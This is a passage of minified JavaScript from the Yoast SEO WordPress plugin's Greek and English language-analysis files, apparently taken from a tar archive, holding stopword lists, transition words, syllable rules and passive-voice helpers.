","μονοι","μονομιας","μονος","μονου","μονους","μονων","μου","μπορει","μπορουν","μπραβο","μπρος","μἐν","μὲν","μὴ","μὴν","να","ναι","νωρις","ξανα","ξαφνικα","ο","οι","ολα","ολες","ολη","ολην","ολης","ολο","ολογυρα","ολοι","ολον","ολονεν","ολος","ολοτελα","ολου","ολους","ολων","ολως","ολως∆ιολου","ομως","ομωσ","οποια","οποιαν","οποιαν∆ηποτε","οποιας","οποιας∆ηποτε","οποια∆ηποτε","οποιες","οποιες∆ηποτε","οποιο","οποιοι","οποιον","οποιον∆ηποτε","οποιος","οποιος∆ηποτε","οποιου","οποιους","οποιους∆ηποτε","οποιου∆ηποτε","οποιο∆ηποτε","οποιων","οποιων∆ηποτε","οποι∆ηποτε","οποτε","οποτε∆ηποτε","οπου","οπου∆ηποτε","οπως","οπωσ","ορισμενα","ορισμενες","ορισμενων","ορισμενως","οσα","οσα∆ηποτε","οσες","οσες∆ηποτε","οση","οσην","οσην∆ηποτε","οσης","οσης∆ηποτε","οση∆ηποτε","οσο","οσοι","οσοι∆ηποτε","οσον","οσον∆ηποτε","οσος","οσος∆ηποτε","οσου","οσους","οσους∆ηποτε","οσου∆ηποτε","οσο∆ηποτε","οσων","οσων∆ηποτε","οταν","οτι","οτι∆ηποτε","οτου","ου","ουτε","ου∆ε","οχι","οἱ","οἳ","οἷς","οὐ","οὐδ","οὐδέ","οὐδείσ","οὐδεὶς","οὐδὲ","οὐδὲν","οὐκ","οὐχ","οὐχὶ","οὓς","οὔτε","οὕτω","οὕτως","οὕτωσ","οὖν","οὗ","οὗτος","οὗτοσ","παλι","παντοτε","παντου","παντως","παρ","παρά","παρα","παρὰ","περί","περα","περι","περιπου","περισσοτερο","περσι","περυσι","περὶ","πια","πιθανον","πιο","πισω","πλαι","πλεον","πλην","ποια","ποιαν","ποιας","ποιες","ποιεσ","ποιο","ποιοι","ποιον","ποιος","ποιοσ","ποιου","ποιους","ποιουσ","ποιων","πολυ","ποσες","ποση","ποσην","ποσης","ποσοι","ποσος","ποσους","ποτε","που","πουθε","πουθενα","ποῦ","πρεπει","πριν","προ","προκειμενου","προκειται","προπερσι","προς","προσ","προτου","προχθες","προχτες","πρωτυτερα","πρόσ","πρὸ","πρὸς","πως","πωσ","σαν","σας","σε","σεις","σημερα","σιγα","σου","στα","στη","στην","στης","στις","στο","στον","στου","στους","στων","συγχρονως","συν","συναμα","συνεπως","συνηθως","συχνα","συχνας","συχνες","συχνη","συχνην","συχνης","συχνο","συχνοι","συχνον","συχνος","συχνου","συχνους","συχνων","συχνως","σχε∆ον","σωστα","σόσ","σύ","σύν","σὸς","σὺ","σὺν","τά","τήν","τί","τίς","τίσ","τα","ταυτα","ταυτες","ταυτη","ταυτην","ταυτης","ταυτο,ταυτον","ταυτος","ταυτου","ταυτων","ταχα","ταχατε","ταῖς","τα∆ε","τε","τελικα","τελικως","τες","τετοια","τετοιαν","τετοιας","τετοιες","τετοιο","τετοιοι","τετοιον","τετοιος","τετοιου","τετοιους","τετοιων","τη","την","της","τησ","τι","τινα","τιποτα","τιποτε","τις","τισ","το","τοί","τοι","τοιοῦτος","τοιοῦτοσ","τον","τος","τοσα","τοσες","τοση","τοσην","τοσης","τοσο","τοσοι","τοσον","τοσος","τοσου","τοσους","τοσων","τοτε","του","τουλαχιστο","τουλαχιστον","τους","τουτα","τουτες","τουτη","τουτην","τουτης","τουτο","τουτοι","τουτοις","τουτον","τουτος","τουτου","τουτους","τουτων","τούσ","τοὺς","τοῖς","τοῦ","τυχον","των","τωρα","τό","τόν","τότε","τὰ","τὰς","τὴν","τὸ","τὸν","τῆς","τῆσ","τῇ","τῶν","τῷ","υπ","υπερ","υπο","υποψη","υποψιν","υπό","υστερα","φετος","χαμηλα","χθες","χτες","χωρις","χωριστα","ψηλα","ω","ωραια","ως","ωσ","ωσαν","ωσοτου","ωσπου","ωστε","ωστοσο","ωχ","ἀλλ'","ἀλλά","ἀλλὰ","ἀλλ’","ἀπ","ἀπό","ἀπὸ","ἀφ","ἂν","ἃ","ἄλλος","ἄλλοσ","ἄν","ἄρα","ἅμα","ἐάν","ἐγώ","ἐγὼ","ἐκ","ἐμόσ","ἐμὸς","ἐν","ἐξ","ἐπί","ἐπεὶ","ἐπὶ","ἐστι","ἐφ","ἐὰν","ἑαυτοῦ","ἔτι","ἡ","ἢ","ἣ","ἤ","ἥ","ἧς","ἵνα","ὁ","ὃ","ὃν","ὃς","ὅ","ὅδε","ὅθεν","ὅπερ","ὅς","ὅσ","ὅστις","ὅστισ","ὅτε","ὅτι","ὑμόσ","ὑπ","ὑπέρ","ὑπό","ὑπὲρ","ὑπὸ","ὡς","ὡσ","ὥς","ὥστε","ὦ","ᾧ","∆α","∆ε","∆εινα","∆εν","∆εξια","∆ηθεν","∆ηλα∆η","∆ι","∆ια","∆ιαρκως","∆ικα","∆ικο","∆ικοι","∆ικος","∆ικου","∆ικους","∆ιολου","∆ιπλα","∆ιχως"])}};function h(e){return E(e,m)}const S=["διαπραγματεύ","αισθάν","ανέχ","ανταγωνίζ","αντιλαμβάν","αντιστρατεύ","απεχθάν","αρν","αφουγκράζ","βαριέμαι","γεύ","δέχ","διανο","διηγ","εγγυ","καταριέμαι","λιγουρεύ","λυπάμαι","μάχ","μέμφ","μεταχειρίζ","μιμ","νυμφεύ","ονειρεύ","οραματίζ","οσμίζ","περιποι","προασπίζ","προοιωνίζ","προφασίζ","ειρωνεύ","εισηγ","εκδικ","εκμεταλλεύ","εμπιστεύ","επιβουλεύ","επικαλ","επισκέπτ","επωμίζ","ερωτεύ","ευαγγελίζ","εχθρεύ","θυμάμαι","καπηλεύ","καρπών","σέβ","σιχαίν","σκαρφίζ","σκέφτ","σπλαχνίζ","συλλογίζ","συμμερίζ","υπαινίσσ","υποκρίν","υποπτεύ","υπόσχ","υποψιάζ","φοβάμαι","χειρίζ","χρειάζ","πραγματεύ","μαθεύ","ξαναγίν","ξεκαρδίζ","ξεκουμπίζ","ξεχύν","ξημεροβραδιάζ","οδύρ","παραιτ","παραλογίζ","παραστέκ","παρεκτρέπ","πειραματίζ","περιπλαν","πολιτεύ","αγωνίζ","αθλ","ακροβολίζ","αμιλλ","αμύν","αναδιπλών","αναδύ","αναρωτιέμαι","αντιστέκ","γεύ","γκρεμοτσακίζ","διαπληκτίζ","εισέρχ","εκρήγνυμαι","εμφορ","προπορεύ","ρεύ","σκυλοβαριέμαι","σοβαρεύ","συγκρού","συμπαρατάσσ","συμπεριφέρ","συνδικαλίζ","συνεννο","συνεργάζ","υπεισέρχ","υπερηφανεύ","φαγών","φύ","χαμοκυλιέμαι","εναντιών","ενίσταμαι","επαίρ","επιτίθεμαι","ευθύν","ηγ","ηττ","ίπταμαι","καμών","καταγίν","κατάγ","κλυδωνίζ","κοκορεύ","λογοδίν","μαίν","ανεβαιν","ανεβηκα","κατεβαιν","κατέβηκα","συγχαίρ","συγχάρκα"],y=["ιόμασταν","ιόσασταν","ούμασταν","ούσασταν","ομασταν","οσασταν","όμασταν","όσασταν","ιόμαστε","ιούνται","ιόσαστε","ηθήκαμε","ηθήκατε","ιούνταν","ούμαστε","θήκαμε","θήκατε","τήκαμε","τήκατε","όμαστε","όσαστε","ηθούμε","ηθείτε","ήθηκες","ήθηκαν","ιόμουν","ιόσουν","ούνται","ούμουν","ούσουν","ούνταν","μαστε","σαστε","θούμε","θείτε","τούμε","τείτε","θηκες","θηκαν","τηκες","τηκαν","ονται","όμουν","όσουν","ονταν","ιέμαι","ιέσαι","ιέται","ιέστε","ηθείς","ηθούν","ήθηκα","ήθηκε","ιόταν","ούμαι","είσαι","είται","είστε","θείς","θούν","τείς","τούν","θηκα","θηκε","τηκα","τηκε","μουν","σουν","νταν","ομαι","εσαι","εται","εστε","όταν","ηθεί","μαι","σαι","ται","στε","θεί","τεί","ταν","ηθώ","θώ","τώ"],{getWords:b,directPrecedenceException:P}=r.languageProcessing,W=["να"];function v(e){const t=b(e);for(const r of t)for(const t of y)if(r.endsWith(t)&&r.length>4){const n=r.slice(0,-t.length);return/^(θεί|τεί)$/.test(t)?!S.includes(n)&&!P(e,r,W):!S.includes(n)}return!1}const{AbstractResearcher:j}=r.languageProcessing;class C extends j{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"el",functionWords:l,passiveConstructionType:"morphologicalAndPeriphrastic",transitionWords:g,twoPartTransitionWords:o,firstWordExceptions:n.firstWords,secondWordExceptions:n.secondWords}),Object.assign(this.helpers,{getStemmer:u,getClauses:h,isPassiveSentence:v})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/en.js000064400000221562147510273070013663 0ustar00(()=>{var e={429:e=>{var d=function(e,d){var n;for(n=0;n<e.length;n++)if(e[n].regex.test(d))return e[n]},n=function(e,n){var t,i,r;for(t=0;t<n.length;t++)if(i=d(e,n.substring(0,t+1)))r=i;else if(r)return{max_index:t,rule:r};return r?{max_index:n.length,rule:r}:void 0};e.exports=function(e){var t="",i=[],r=1,a=1,u=function(d,n){e({type:n,src:d,line:r,col:a});var t=d.split("\n");r+=t.length-1,a=(t.length>1?1:a)+t[t.length-1].length};return{addRule:function(e,d){i.push({regex:e,type:d})},onText:function(e){for(var d=t+e,r=n(i,d);r&&r.max_index!==d.length;)u(d.substring(0,r.max_index),r.rule.type),d=d.substring(r.max_index),r=n(i,d);t=d},end:function(){if(0!==t.length){var e=d(i,t);if(!e){var n=new Error("unable to tokenize");throw n.tokenizer2={buffer:t,line:r,col:a},n}u(t,e.type)}}}}}},d={};function n(t){var i=d[t];if(void 0!==i)return i.exports;var r=d[t]={exports:{}};return e[t](r,r.exports,n),r.exports}n.n=e=>{var d=e&&e.__esModule?()=>e.default:()=>e;return n.d(d,{a:d}),d},n.d=(e,d)=>{for(var t in d)n.o(d,t)&&!n.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:d[t]})},n.o=(e,d)=>Object.prototype.hasOwnProperty.call(e,d),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var t={};(()=>{"use strict";n.r(t),n.d(t,{default:()=>dd});const e=window.yoast.analysis,d=["the","a","an","one","two","three","four","five","six","seven","eight","nine","ten","this","that","these","those"],i=["am","is","are","was","were","been","be","she's","he's","it's","i'm","we're","they're","you're","that's","being"].concat(["isn't","weren't","wasn't","aren't"],["get","gets","got","gotten","getting"],["having","what's"]),r=i,a=["accordingly","additionally","afterward","afterwards","albeit","also","although","altogether","another","basically","because","before","besides","but","certainly","chiefly","comparatively","concurrently","consequently","contrarily","conversely","correspondingly","despite","doubtedly","during","e.g.","earlier","emphatically","equally","especially","eventually","evidently","explicitly","finally","firstly","following","formerly","forthwith","fourthly","further","furthermore","generally","hence","henceforth","however","i.e.","identically","indeed","initially","instead","last","lastly","later","lest","likewise","markedly","meanwhile","moreover","nevertheless","nonetheless","nor","notwithstanding","obviously","occasionally","otherwise","overall","particularly","presently","previously","rather","regardless","secondly","shortly","significantly","similarly","simultaneously","since","so","soon","specifically","still","straightaway","subsequently","surely","surprisingly","than","then","thereafter","therefore","thereupon","thirdly","though","thus","till","undeniably","undoubtedly","unless","unlike","unquestionably","until","when","whenever","whereas","while","whether","if","actually","anyway","anyways","anyhow","mostly","namely","including","suddenly"],u=a.concat(["above all","after all","after that","all in all","all of a sudden","all things considered","analogous to","although this may be true","analogous to","another key point","as a matter of fact","as a result","as an illustration","as can be seen","as has been noted","as I have noted","as I have said","as I have shown","as long as","as much as","as opposed to","as shown above","as soon as","as well as","at any rate","at first","at last","at least","at length","at the present time","at the same time","at this instant","at this point","at this time","balanced against","being that","by all means","by and large","by comparison","by the same token","by the time","compared to","be that as it may","coupled with","different from","due to","equally important","even if","even more","even so","even though","first thing to remember","for example","for fear that","for instance","for one thing","for that reason","for the most part","for the purpose of","for the same reason","for this purpose","for this reason","from time to time","given that","given these points","important to realize","in a word","in addition","in another case","in any case","in any event","in brief","in case","in conclusion","in contrast","in detail","in due time","in effect","in either case","either way","in essence","in fact","in general","in light of","in like fashion","in like manner","in order that","in order to","in other words","in particular","in reality","in short","in similar fashion","in spite of","in sum","in summary","in that case","in the event that","in the final analysis","in the first place","in the fourth place","in the hope that","in the light of","in the long run","in the meantime","in the same fashion","in the same way","in the second place","in the third place","in this case","in this situation","in time","in truth","in view of","inasmuch as","most compelling evidence","most important","must be remembered","not only","not to mention","note that","now that","of course","on account of","on balance","on condition that","on one hand","on the condition that","on the contrary","on the negative side","on the other hand","on the positive side","on the whole","on this occasion","all at once","once in a while","only if","owing to","point often overlooked","prior to","provided that","seeing that","so as to","so far","so long as","so that","sooner or later","such as","summing up","take the case of","that is","that is to say","then again","this time","to be sure","to begin with","to clarify","to conclude","to demonstrate","to emphasize","to enumerate","to explain","to illustrate","to list","to point out","to put it another way","to put it differently","to repeat","to rephrase it","to say nothing of","to sum up","to summarize","to that end","to the end that","to this end","together with","under those circumstances","until now","up against","up to the present time","vis a vis","what's more","what is more","while it may be true","while this may be true","with attention to","with the result that","with this in mind","with this intention","with this purpose in mind","without a doubt","without delay","without doubt","without reservation","according to","no sooner","at most","at the most","from now on"]);function o(e){let d=e;return e.forEach((n=>{(n=n.split("-")).length>0&&n.filter((d=>!e.includes(d))).length>0&&(d=d.concat(n))})),d}const s=["the","an","a"],l=["one","two","three","four","five","six","seven","eight","nine","ten","eleven","twelve","thirteen","fourteen","fifteen","sixteen","seventeen","eighteen","nineteen","twenty","hundred","hundreds","thousand","thousands","million","millions","billion","billions"],c=["first","second","third","fourth","fifth","sixth","seventh","eighth","ninth","tenth","eleventh","twelfth","thirteenth","fourteenth","fifteenth","sixteenth","seventeenth","eighteenth","nineteenth","twentieth"],h=["i","you","he","she","it","we","they"],p=["me","him","us","them"],m=["this","that","these","those"],g=["my","your","his","her","its","their","our","mine","yours","hers","theirs","ours"],f=["all","some","many","lot","lots","ton","tons","bit","no","every","enough","little","much","more","most","plenty","several","few","fewer","kind","kinds"],b=["myself","yourself","himself","herself","itself","oneself","ourselves","yourselves","themselves"],w=["none","nobody","everyone","everybody","someone","somebody","anyone","anybody","nothing","everything","something","anything","each","other","whatever","whichever","whoever","whomever","whomsoever","whosoever","others","neither","both","either","any","such"],y=["one's","nobody's","everyone's","everybody's","someone's","somebody's","anyone's","anybody's","nothing's","everything's","something's","anything's","whoever's","others'","other's","another's","neither's","either's"],v=["which","what","whose"],z=["who","whom"],k=["where","how","why","whether","wherever","whyever","wheresoever","whensoever","howsoever","whysoever","whatsoever","whereso","whomso","whenso","howso","whyso","whoso","whatso"],E=["therefor","therein","hereby","hereto","wherein","therewith","herewith","wherewith","thereby"],x=["there","here","whither","thither","hither","whence","thence"],F=["always","once","twice","thrice"],A=["can","cannot","can't","could","couldn't","could've","dare","dares","dared","do","don't","does","doesn't","did","didn't","done","have","haven't","had","hadn't","has","hasn't","i've","you've","we've","they've","i'd","you'd","he'd","she'd","it'd","we'd","they'd","would","wouldn't","would've","may","might","must","need","needn't","needs","ought","shall","shalln't","shan't","should","shouldn't","will","won't","i'll","you'll","he'll","she'll","it'll","we'll","they'll","there's","there're","there'll","here's","here're","there'll"],j=["appear","appears","appeared","become","becomes","became","come","comes","came","keep","keeps","kept","remain","remains","remained","stay","stays","stayed","turn","turns","turned"],q=["doing","daring","having","appearing","becoming","coming","keeping","remaining","staying","saying","asking","stating","seeming","letting","making","setting","showing","putting","adding","going","using","trying","containing"],D=["in","from","with","under","throughout","atop","for","on","of","to","aboard","about","above","abreast","absent","across","adjacent","after","against","along","alongside","amid","mid","among","apropos","apud","around","as","astride","at","ontop","afore","tofore","behind","ahind","below","ablow","beneath","neath","beside","between","atween","beyond","ayond","by","chez","circa","spite","down","except","into","less","like","minus","near","nearer","nearest","anear","notwithstanding","off","onto","opposite","out","outen","over","past","per","pre","qua","sans","sithence","through","thru","truout","toward","underneath","up","upon","upside","versus","via","vis-à-vis","without","ago","apart","aside","aslant","away","withal","towards","amidst","amongst","midst","whilst"],B=["back","within","forward","backward","ahead"],R=["and","or","and/or","yet"],C=["sooner","just","only"],P=["if","even"],$=["say","says","said","claimed","ask","asks","asked","stated","explain","explains","explained","think","thinks","talks","talked","announces","announced","tells","told","discusses","discussed","suggests","suggested","understands","understood"],_=["again","definitely","eternally","expressively","instead","expressly","immediately","including","instantly","namely","naturally","next","notably","now","nowadays","ordinarily","positively","truly","ultimately","uniquely","usually","almost","maybe","probably","granted","initially","too","actually","already","e.g","i.e","often","regularly","simply","optionally","perhaps","sometimes","likely","never","ever","else","inasmuch","provided","currently","incidentally","elsewhere","particular","recently","relatively","f.i","clearly","apparently"],S=["highly","very","really","extremely","absolutely","completely","totally","utterly","quite","somewhat","seriously","fairly","fully","amazingly"],L=["seem","seems","seemed","let","let's","lets","make","makes","made","want","showed","shown","go","goes","went","gone","take","takes","took","taken","put","puts","use","used","try","tries","tried","mean","means","meant","called","based","add","adds","added","contain","contains","contained","consist","consists","consisted","ensure","ensures","ensured"],W=["new","newer","newest","old","older","oldest","previous","good","well","better","best","big","bigger","biggest","easy","easier","easiest","fast","faster","fastest","far","hard","harder","hardest","least","own","large","larger","largest","long","longer","longest","low","lower","lowest","high","higher","highest","regular","simple","simpler","simplest","small","smaller","smallest","tiny","tinier","tiniest","short","shorter","shortest","main","actual","nice","nicer","nicest","real","same","able","certain","usual","so-called","mainly","mostly","recent","anymore","complete","lately","possible","commonly","constantly","continually","directly","easily","nearly","slightly","somewhere","estimated","latest","different","similar","widely","bad","worse","worst","great","specific","available","average","awful","awesome","basic","beautiful","busy","current","entire","everywhere","important","major","multiple","normal","necessary","obvious","partly","special","last","early","earlier","earliest","young","younger","youngest"],U=["oh","wow","tut-tut","tsk-tsk","ugh","whew","phew","yeah","yea","shh","oops","ouch","aha","yikes"],T=["tbs","tbsp","spk","lb","qt","pk","bu","oz","pt","mod","doz","hr","f.g","ml","dl","cl","l","mg","g","kg","quart"],I=["seconds","minute","minutes","hour","hours","day","days","week","weeks","month","months","year","years","today","tomorrow","yesterday"],O=["thing","things","way","ways","matter","case","likelihood","ones","piece","pieces","stuff","times","part","parts","percent","instance","instances","aspect","aspects","item","items","idea","theme","person","instance","instances","detail","details","factor","factors","difference","differences"],H=["not","yes","sure","top","bottom","ok","okay","amen","aka","etc","etcetera","sorry","please"],M=["jr","sr"],N=(o([].concat(c,q,W)),o([].concat(s,D,R,m,S,f,g)),o([].concat(a,F,h,p,b,U,l,i,A,j,$,L,w,C,P,v,z,k,x,H,B,E,T,I,O)),o([].concat(s,D,m,g,c,q,f))),V=o([].concat(A,j,$,L)),J=(o([].concat(s,l,c,m,g,b,h,p,f,w,q,y,v,z,k,E,x,F,B,i,A,j,D,R,C,P,$,a,_,S,L,U,W,T,H,M)),o([].concat(s,l,c,m,g,b,h,p,f,w,q,y,v,z,k,E,x,F,B,i,A,j,D,R,C,P,$,a,_,S,L,U,W,T,O,H,I,["ms","mss","mrs","mr","dr","prof"],M))),G=["to","which","who","whom","that","whose","after","although","as","because","before","even if","even though","if","in order that","inasmuch","lest","once","provided","since","so that","than","though","till","unless","until","when","whenever","where","whereas","wherever","whether","while","why","by the time","supposing","no matter","how","what","won't","do","does","–","and","but","or"],K=[["both","and"],["not only","but also"],["neither","nor"],["either","or"],["not","but"]],Q=JSON.parse('{"vowels":"aeiouy","deviations":{"vowels":[{"fragments":["cial","tia","cius","giu","ion","[^bdnprv]iou","sia$","[^aeiuot]{2,}ed$","[aeiouy][^aeiuoyts]{1,}e$","[a-z]ely$","[cgy]ed$","rved$","[aeiouy][dt]es?$","eau","ieu","oeu","[aeiouy][^aeiouydt]e[sd]?$","[aeouy]rse$","^eye"],"countModifier":-1},{"fragments":["ia","iu","ii","io","[aeio][aeiou]{2}","[aeiou]ing","[^aeiou]ying","ui[aeou]"],"countModifier":1},{"fragments":["^ree[jmnpqrsx]","^reele","^reeva","riet","dien","[aeiouym][bdp]le$","uei","uou","^mc","ism$","[^l]lien","^coa[dglx].","[^gqauieo]ua[^auieo]","dn\'t$","uity$","ie(r|st)","[aeiouw]y[aeiou]","[^ao]ire[ds]","[^ao]ire$"],"countModifier":1},{"fragments":["eoa","eoo","ioa","ioe","ioo"],"countModifier":1}],"words":{"full":[{"word":"business","syllables":2},{"word":"coheiress","syllables":3},{"word":"colonel","syllables":2},{"word":"heiress","syllables":2},{"word":"i.e","syllables":2},{"word":"shoreline","syllables":2},{"word":"simile","syllables":3},{"word":"unheired","syllables":2},{"word":"wednesday","syllables":2}],"fragments":{"global":[{"word":"coyote","syllables":3},{"word":"graveyard","syllables":2},{"word":"lawyer","syllables":2}]}}}}'),X=window.lodash,Y=["ablebodied","abovementioned","absentminded","accoladed","accompanied","acculturized","accursed","acerated","acerbated","acetylized","achromatised","achromatized","acidified","acned","actualised","adrenalised","adulated","adversed","aestheticised","affectioned","affined","affricated","aforementioned","agerelated","aggrieved","airbed","aircooled","airspeed","alcoholized","alcoved","alkalised","allianced","aluminized","alveolated","ambered","ammonified","amplified","anagrammatised","anagrammatized","anathematised","aniseed","ankled","annualized","anonymised","anthologized","antlered","anucleated","anviled","anvilshaped","apostrophised","apostrophized","appliqued","apprized","arbitrated","armored","articled","ashamed","assented","atomised","atrophied","auricled","auriculated","aurified","autopsied","axled","babied","backhoed","badmannered","badtempered","balustered","baned","barcoded","bareboned","barefooted","barelegged","barnacled","based","bayoneted","beadyeyed","beaked","beaned","beatified","beautified","beavered","bed","bedamned","bedecked","behoved","belated","bellbottomed","bellshaped","benighted","bequeathed","berried","bespectacled","bewhiskered","bighearted","bigmouthed","bigoted","bindweed","binucleated","biopsied","bioturbed","biped","bipinnated","birdfeed","birdseed","bisegmented","bitterhearted","blabbermouthed","blackhearted","bladed","blankminded","blearyeyed","bleed","blissed","blobbed","blondhaired","bloodied","bloodred","bloodshed","blueblooded","boatshaped","bobsled","bodied","boldhearted","boogied","boosed","bosomed","bottlefed","bottlefeed","bottlenecked","bouldered","bowlegged","bowlshaped","brandied","bravehearted","breastfed","breastfeed","breed","brighteyed","brindled","broadhearted","broadleaved","broadminded","brokenhearted","broomed","broomweed","buccaned","buckskinned","bucktoothed","buddied","buffaloed","bugeyed","bugleweed","bugweed","bulletined","bunked","busied","butterfingered","cabbed","caddied","cairned","calcified","canalized","candied","cannulated","canoed","canopied","canvased","caped","capsulated","cassocked","castellated","catabolised","catheterised","caudated","cellmediated","cellulosed","certified","chagrined","chambered","chested","chevroned","chickenfeed","chickenhearted","chickweed","chilblained","childbed","chinned","chromatographed","ciliated","cindered","cingulated","circumstanced","cisgendered","citrullinated","clappered","clarified","classified","clawshaped","claysized","cleanhearted","clearminded","clearsighted","cliched","clodded","cloistered","closefisted","closehearted","closelipped","closemouthed","closeted","cloudseed","clubfooted","clubshaped","clued","cockeyed","codified","coed","coevolved","coffined","coiffed","coinfected","coldblooded","coldhearted","collateralised","colonialised","colorcoded","colorised","colourised","columned","commoditized","compactified","companioned","complexioned","conceited","concerned","concussed","coneshaped","congested","contented","convexed","coralled","corymbed","cottonseed","countrified","countrybred","courtmartialled","coved","coveralled","cowshed","cozied","cragged","crayoned","credentialed","creed","crenulated","crescentshaped","cressweed","crewed","cricked","crispated","crossbarred","crossbed","crossbred","crossbreed","crossclassified","crosseyed","crossfertilised","crossfertilized","crossindexed","crosslegged","crossshaped","crossstratified","crossstriated","crotched","crucified","cruelhearted","crutched","cubeshaped","cubified","cuckolded","cucumbershaped","cumbered","cuminseed","cupshaped","curated","curded","curfewed","curlicued","curlycued","curried","curtsied","cyclized","cylindershaped","damed","dandified","dangered","darkhearted","daybed","daylighted","deacidified","deacylated","deadhearted","deadlined","deaminized","deathbed","decalcified","decertified","deckbed","declassified","declutched","decolourated","decreed","deed","deeprooted","deepseated","defensed","defied","deflexed","deglamorised","degunkified","dehumidified","deified","deled","delegitimised","demoded","demystified","denasalized","denazified","denied","denitrified","denticulated","deseed","desexualised","desposited","detoxified","deuced","devitrified","dewlapped","dezincified","diagonalised","dialogued","died","digitated","dignified","dilled","dimwitted","diphthonged","disaffected","disaggregated","disarrayed","discalced","discolorated","discolourated","discshaped","diseased","disembodied","disencumbered","disfranchised","diskshaped","disproportionated","disproportioned","disqualified","distempered","districted","diversified","diverticulated","divested","divvied","dizzied","dogged","dogsbodied","dogsled","domeshaped","domiciled","dormered","doublebarrelled","doublestranded","doublewalled","downhearted","duckbilled","eared","echeloned","eddied","edified","eggshaped","elasticated","electrified","elegized","embed","embodied","emceed","empaneled","empanelled","emptyhearted","emulsified","engined","ennobled","envied","enzymecatalysed","enzymecatalyzed","epitomised","epoxidized","epoxied","etherised","etherized","evilhearted","evilminded","exceed","excited","exemplified","exponentiated","expurgated","extravasated","extraverted","extroverted","fabled","facelifted","facsimiled","fainthearted","falcated","falsehearted","falsified","famed","fancified","fanged","fanshaped","fantasied","farsighted","fated","fatted","fazed","featherbed","fed","federalized","feeblehearted","feebleminded","feeblewitted","feed","fendered","fenestrated","ferried","fevered","fibered","fibred","ficklehearted","fiercehearted","figged","filigreed","filterfeed","fireweed","firmhearted","fissured","flanged","flanneled","flannelled","flatbed","flatfooted","flatted","flawed","flaxenhaired","flaxseed","flaxweed","flighted","floodgenerated","flowerbed","fluidised","fluidized","flurried","fobbed","fonded","forcefeed","foreshortened","foresighted","forkshaped","formfeed","fortified","fortressed","foulmouthed","foureyed","foxtailed","fractionalised","fractionalized","frankhearted","freed","freehearted","freespirited","frenzied","friezed","frontiered","fructified","frumped","fullblooded","fullbodied","fullfledged","fullhearted","funnelshaped","furnaced","gaitered","galleried","gangliated","ganglionated","gangrened","gargoyled","gasified","gaunted","gauntleted","gauzed","gavelled","gelatinised","gemmed","genderized","gentled","gentlehearted","gerrymandered","gladhearted","glamored","globed","gloried","glorified","glycosylated","goateed","gobletshaped","godspeed","goodhearted","goodhumored","goodhumoured","goodnatured","goodtempered","goosed","goosenecked","goutweed","grainfed","grammaticalized","grapeseed","gratified","graved","gravelbed","grayhaired","greathearted","greed","greenweed","grommeted","groundspeed","groved","gruffed","guiled","gulled","gumshoed","gunkholed","gussied","guyed","gyrostabilized","hackneyed","hagged","haired","halfcivilized","halfhearted","halfwitted","haloed","handballed","handfed","handfeed","hardcoded","hardhearted","hardnosed","hared","harelipped","hasted","hatred","haunched","hawkeyed","hayseed","hayweed","hearsed","hearted","heartshaped","heavenlyminded","heavyfooted","heavyhearted","heed","heired","heisted","helicoptered","helmed","helmeted","hemagglutinated","hemolyzed","hempseed","hempweed","heparinised","heparinized","herbed","highheeled","highminded","highpriced","highspeed","highspirited","hilled","hipped","hispanicised","hocked","hoed","hogweed","holstered","homaged","hoodooed","hoofed","hooknosed","hooved","horned","horrified","horseshoed","horseweed","hotbed","hotblooded","hothearted","hotted","hottempered","hued","humansized","humidified","humped","hundred","hutched","hyperinflated","hyperpigmented","hyperstimulated","hypertrophied","hyphened","hypophysectomised","hypophysectomized","hypopigmented","hypostatised","hysterectomized","iconified","iconised","iconized","ideologised","illbred","illconceived","illdefined","illdisposed","illequipped","illfated","illfavored","illfavoured","illflavored","illfurnished","illhumored","illhumoured","illimited","illmannered","illnatured","illomened","illproportioned","illqualified","illscented","illtempered","illumed","illusioned","imbed","imbossed","imbued","immatured","impassioned","impenetrated","imperfected","imperialised","imperturbed","impowered","imputed","inarticulated","inbred","inbreed","incapsulated","incased","incrustated","incrusted","indebted","indeed","indemnified","indentured","indigested","indisposed","inexperienced","infrared","intensified","intentioned","interbedded","interbred","interbreed","interluded","introverted","inured","inventoried","iodinated","iodised","irked","ironfisted","ironweed","itchweed","ivied","ivyweed","jagged","jellified","jerseyed","jetlagged","jetpropelled","jeweled","jewelled","jewelweed","jiggered","jimmyweed","jimsonweed","jointweed","joyweed","jungled","juried","justiceweed","justified","karstified","kerchiefed","kettleshaped","kibbled","kidneyshaped","kimonoed","kindhearted","kindred","kingsized","kirtled","knacked","knapweed","kneed","knobbed","knobweed","knopweed","knotweed","lakebed","lakeweed","lamed","lamellated","lanceshaped","lanceted","landbased","lapeled","lapelled","largehearted","lariated","lased","latticed","lauded","lavaged","lavendered","lawned","led","lefteyed","legitimatised","legitimatized","leisured","lensshaped","leveed","levied","lichened","lichenized","lidded","lifesized","lightfingered","lightfooted","lighthearted","lightminded","lightspeed","lignified","likeminded","lilylivered","limbed","linearised","linearized","linefeed","linseed","lionhearted","liquefied","liquified","lithified","liveried","lobbied","located","locoweed","longarmed","longhaired","longhorned","longlegged","longnecked","longsighted","longwinded","lopsided","loudmouthed","louvered","louvred","lowbred","lowpriced","lowspirited","lozenged","lunated","lyrated","lysinated","maced","macroaggregated","macrodissected","maculated","madweed","magnified","maidenweed","maladapted","maladjusted","malnourished","malrotated","maned","mannered","manuevered","manyhued","manyshaped","manysided","masted","mealymouthed","meanspirited","membered","membraned","metaled","metalized","metallised","metallized","metamerized","metathesized","meted","methylated","mettled","microbrecciated","microminiaturized","microstratified","middleaged","midsized","miffed","mildhearted","milkweed","miniskirted","misactivated","misaligned","mischiefed","misclassified","misdeed","misdemeaned","mismannered","misnomered","misproportioned","miswired","mitred","mitted","mittened","moneyed","monocled","mononucleated","monospaced","monotoned","monounsaturated","mortified","moseyed","motorised","motorized","moussed","moustached","muddied","mugweed","multiarmed","multibarreled","multibladed","multicelled","multichambered","multichanneled","multichannelled","multicoated","multidirected","multiengined","multifaceted","multilaminated","multilaned","multilayered","multilobed","multilobulated","multinucleated","multipronged","multisegmented","multisided","multispeed","multistemmed","multistoried","multitalented","multitoned","multitowered","multivalued","mummied","mummified","mustached","mustachioed","mutinied","myelinated","mystified","mythicised","naked","narcotised","narrowminded","natured","neaped","nearsighted","necrosed","n